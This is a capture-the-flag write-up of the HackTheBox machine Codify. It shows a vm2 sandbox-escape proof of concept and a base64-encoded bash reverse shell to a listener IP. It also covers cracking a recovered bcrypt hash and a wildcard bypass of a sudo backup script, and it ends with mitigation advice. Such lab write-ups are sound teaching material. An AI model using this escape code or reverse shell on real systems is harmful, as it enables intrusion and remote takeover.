Post

HackTheBox - Codify


Description:

Codify from HackTheBox has a website that uses the vm2 sandbox to execute javascript code. The vm2 library is vulnerable to code execution which we exploit to get a foothold on the system. We find a database file containing a password hash that we easily crack and get to another user. The user has a sudo entry allowing him to execute a bash script that is also vulnerable allowing us to bypass an if check and read the root’s password.

Enumeration

nmap

We start an Nmap scan using the following command: sudo nmap -sC -sV -T4 {target_IP}.

  • -sC: run all the default scripts.

  • -sV: Find the version of services running on the target.

  • -T4: Aggressive scan to provide faster results.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Nmap scan report for 10.10.11.239
Host is up (0.11s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

We found three open ports, 22 running SSH, 80 is an Apache web server with the hostname codify.htb and port 3000 us a node.js application.

Web

After adding the hostname codify.htb to hosts file, we navigate to the web page.

webpage

The two web ports seems to have the same application.

This web application allows us to run node.js code in a sandbox, but there are some limitations.

limitations

They blocked the two modules child_process that allows for command execution and fs that’s used to read and write files.

Checking the About us page reveals the library used for sandboxing.

vm2

The library is vm2.

Searching for vulnerabilities in this library reveals a sandbox escape vulnerability.

We can find a POC here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const {VM} = require("vm2");
const vm = new VM();

const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('id');
}
`

console.log(vm.run(code));

Let’s run the code.

rce

We successfully run the id command and confirmed the vulnerability.

Foothold

Let’s change the command to a reverse shell.

1
/bin/bash -i >& /dev/tcp/10.10.10.10/9001 0>&1

Change the ip address in the command

We base64 encode the command.

1
L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjQvOTAwMSAwPiYx

To get it executed we pip it to base64 -d and then bash like the following:

1
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjQvOTAwMSAwPiYx|base64 -d|bash

Now we put the command in the node js code like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const {VM} = require("vm2");
const vm = new VM();

const code = `
aVM2_INTERNAL_TMPNAME = {};
function stack() {
    new Error().stack;
    stack();
}
try {
    stack();
} catch (a$tmpname) {
    a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjQvOTAwMSAwPiYx|base64 -d|bash');
}
`

console.log(vm.run(code))

We setup a listener and run the code.

revshell

Privilege Escalation

svc -> joshua

After looking around the system for some useful things, we find a db file in the web directory.

1
2
3
4
5
6
7
8
9
svc@codify:~$ cd /var/www/
svc@codify:/var/www$ ls
contact  editor  html
svc@codify:/var/www$ cd contact/
svc@codify:/var/www/contact$ ls
index.js  package.json  package-lock.json  templates  tickets.db
svc@codify:/var/www/contact$ file tickets.db 
tickets.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 17, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 17
svc@codify:/var/www/contact$ 

The file is a sqlite database, we can open it using sqlite3.

1
2
3
4
5
6
7
8
svc@codify:/var/www/contact$ sqlite3 tickets.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
tickets  users  
sqlite> select * from users;
3|joshua|$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
sqlite> 

We found the users table that has joshua’s hash. Let’s crack it using hashcat with mode 3200.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
λ hashcat -m 3200 crack.hash rockyou.txt                                         
hashcat (v6.2.6) starting                                                              
                                                                                       
                                                                              
                                                                                       
Optimizers applied:                                                                    
* Zero-Byte                                                                            
* Single-Hash                                                                          
* Single-Salt                                                                          
                                                                                       
Watchdog: Hardware monitoring interface not found on your system.                      
Watchdog: Temperature abort trigger disabled.                                          
                                                                                       
Host memory required for this attack: 116 MB                                           
                                                                                       
Dictionary cache hit:                                                                  
* Filename..: rockyou.txt                                                              
* Passwords.: 14344384                                                                 
* Bytes.....: 139921497                                                                
* Keyspace..: 14344384                                                                 
                                                                                       
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1                
                                                                                       
Session..........: hashcat                                                             
Status...........: Cracked                                                             
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))                                 
Hash.Target......: $2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLH.../p/Zw2        
Time.Started.....: Tue Jan 02 08:50:29 2024 (1 min, 0 secs)                            
Time.Estimated...: Tue Jan 02 08:51:29 2024 (0 secs)                                   
Kernel.Feature...: Pure Kernel                                                         
Guess.Base.......: File (rockyou.txt)                                                  
Guess.Queue......: 1/1 (100.00%)                                                       
Speed.#1.........:       26 H/s (13.88ms) @ Accel:1 Loops:1 Thr:16 Vec:1               
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)          
Progress.........: 1536/14344384 (0.01%)                                               
Rejected.........: 0/1536 (0.00%)                                                      
Restore.Point....: 0/14344384 (0.00%)                                                  
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4095-4096                            
Candidate.Engine.: Device Generator                                                    

We got the password, now we can ssh to the target.

joshua -> root

Checking our privilege we find the following:

1
2
3
4
5
6
7
8
Last login: Mon Jan  1 17:00:36 2024 from 10.10.16.4
joshua@codify:~$ sudo -l
[sudo] password for joshua: 
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh

We can run the script as root, let’s see what the script does.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

The script asks us for a password that is compared to the one in /root/.creds, if it matches it uses the password to connect to mysql and run some commands.

In the if statement we notice that USER_PASS is not enclosed with double quotes, which means that any special characters we enter are not going to be treated as a string.

The special characters we can use to bypass the check is the wild card *, which going to result the if statement to be true and execute the other commands:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
oshua@codify:~$ sudo /opt/scripts/mysql-backup.sh 
Enter MySQL password for root: 
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!

It worked! Now we need a way to get the root password passed in the mysql command.

pspy comes to rescue because it allows us to monitor the processes running on the system.

We upload a copy of it to the target, run it and then run the sudo command:

root

We got the password and successfully changed to root user.

Prevention and Mitigation

vm2

The vm2 sandbox is discontinued, the developer has suggested migrating to isolated-vm .

Password

The database file contained a password hashed with bcrypt, but the password was weak and we were able to crack it in a matter of seconds.

Password should be long and complex with numbers and special characters.

Password also should not be reused, the root user did that and we managed to get root access.

Backup script

The script didn’t now enclose the $USER_PASS with double quotes which allowed us to pass the wild card * and bypass the check.

Simply adding double quotes "" around the variable in the if statement would solve this bypass vulnerability.

1
if [[ $DB_PASS == "$USER_PASS" ]]; then

Another way to harden the box is to prevent other users from seeing process that doesn’t belong to them, you can achieve that by running the command:

1
mount -o remount,rw,hidepid=2 /proc

Thank you for taking the time to read my write-up, I hope you have learned something from this. If you have any questions or comments, please feel free to reach out to me. See you in the next hack :).

References

https://github.com/advisories/GHSA-xj72-wvfv-8985

https://gist.github.com/leesh3288/f05730165799bf56d70391f3d9ea187c

https://github.com/DominicBreuker/pspy

https://linux-audit.com/linux-system-hardening-adding-hidepid-to-proc/

This post is licensed under CC BY 4.0 by the author.